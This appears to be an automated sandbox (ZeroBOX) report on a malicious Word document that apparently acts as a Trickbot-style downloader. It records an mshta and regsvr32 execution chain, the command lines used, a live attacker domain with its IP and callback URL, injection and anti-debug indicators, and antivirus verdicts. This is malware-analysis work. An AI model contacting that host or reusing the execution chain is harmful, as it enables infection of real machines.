Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Aug. 4, 2021, 12:28 p.m.	Aug. 4, 2021, 12:30 p.m.

Size	75.0KB
Type	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
MD5	`f6f72e3d91f7b53dd75e347889a793da`
SHA256	`14bccfecaaec8353e3e8f090ec1d3e9c87eb8ceb2a7abedfc47c3c980da8ad71`
CRC32	`D37D03E4`
ssdeep	`1536:EY43Ct2Hr11AQYyqGJHQYCDEtU6dLTR97piM3VGuw8:U3CtMxQYNtU6Zvv`
Yara	None matched

WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office12\WINWORD.EXE" C:\Users\test22\AppData\Local\Temp\decree-08.03.2021.doc
112
- cmd.exe cmd /c c:\users\public\compareForFor.hta
  584
  - mshta.exe "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\compareForFor.hta"
    2532
    - regsvr32.exe "C:\Windows\System32\regsvr32.exe" c:\users\public\compareForFor.jpg
      2764

Name	Response	Post-Analysis Lookup
millscruelg.com	A 45.95.11.133	45.95.11.133

IP Address	Status	Action
164.124.101.2	Active	Moloch
45.95.11.133	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 4, 2021, 12:28 p.m.		1	1	0

Performs some HTTP requests (1 event)

request

GET http://millscruelg.com/bdfh/3d9Ob0yEwAUkUUNyHskxJb4Zky89/56302/bE5YBOFyZvWHbGv9wPr7QVmkuplYkgZNGYoZ/49344/QhlXPkzDH5WAkx1w/13541/FRfIza4UA20X3W74QQ10gdOWb14BWJTd/31791/xar2?ref=8G8tetEug&fQed=39qouy&sid=ErETbrbz&id=PRDTNX0w2lw6Ff2DhnSyWYUR&user=0nRmXO7YbHH9FCk&ref=d1Kr5UM29JW29PHyh20ag&page=kFGzbhu23oKZEkTvdWUbrAg7y5WThN&PyATUI0=M7BU76Rl9wKGCII2&search=0agiEcPmAwxoUmelcrgIyXt

Allocates read-write-execute memory (usually to unpack itself) (31 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x65001000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c9b1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6ca05000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c9a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c971000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c731000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c734000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6c721000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 112 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05750000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 112 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05750000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 112 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05760000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 112 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05770000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x507c1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72472000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03590000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03590000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03590000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03590000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03590000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03590000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03590000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03591000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03592000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03592000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x03592000 process_handle: 0xffffffff	1

Creates (office) documents on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\~$cree-08.03.2021.doc

Creates hidden or system file (1 event)

Time & API	Arguments	Status	Return	Repeated
NtCreateFile Aug. 4, 2021, 12:28 p.m.	create_disposition: 5 (FILE_OVERWRITE_IF) file_handle: 0x000003ec filepath: C:\Users\test22\AppData\Local\Temp\~$cree-08.03.2021.doc desired_access: 0x40100080 (FILE_READ_ATTRIBUTES\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$cree-08.03.2021.doc create_options: 4194400 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT) status_info: 2 (FILE_CREATED) share_access: 0 ()	1	0	0

Creates a suspicious process (3 events)

cmdline	regsvr32 c:\users\public\compareForFor.jpg
cmdline	"C:\Windows\System32\regsvr32.exe" c:\users\public\compareForFor.jpg
cmdline	"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\compareForFor.hta"

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Aug. 4, 2021, 12:28 p.m.	process_identifier: 2532 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 16 (PAGE_EXECUTE) base_address: 0x03590000 process_handle: 0xffffffff	1	0	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Disables proxy possibly for traffic interception (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA Aug. 4, 2021, 12:28 p.m.	key_handle: 0x000003b8 regkey_r: ProxyEnable reg_type: 4 (REG_DWORD) value: 0 regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable	1	0	0

File has been identified by 14 AntiVirus engines on VirusTotal as malicious (14 events)

Lionic	Trojan.MSOffice.SAgent.4!c
Elastic	malicious (high confidence)
Symantec	ISB.Downloader!gen148
Kaspersky	UDS:DangerousObject.Multi.Generic
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druvzi
Sophos	Mal/DocDl-X
McAfee-GW-Edition	XML/Trickbot.a
GData	XML.Trojan.Agent.JHS8M9
Microsoft	Trojan:Script/Woreflint.A!cl
McAfee	XML/Trickbot.a
TACHYON	Suspicious/XML.Obfus.Gen.8
Zoner	Probably Heur.W97Obfuscated
Ikarus	Win32.Outbreak
Fortinet	VBA/Agent.BB04!tr.dldr

A command shell or script process was created by an unexpected parent process (1 event)

parent_process

winword.exe

martian_process

cmd /c c:\users\public\compareForFor.hta

Libraries known to be associated with a CVE were requested (may be False Positive) (1 event)

cve	CVE-2013-3906

One or more non-whitelisted processes were created (1 event)

parent_process

winword.exe

martian_process

cmd /c c:\users\public\compareForFor.hta

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 584 resumed a thread in remote process 2532
NtResumeThread Aug. 4, 2021, 12:28 p.m.	thread_handle: 0x00000234 suspend_count: 1 process_identifier: 2532	1	0	0

decree-08.03.2021.doc

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All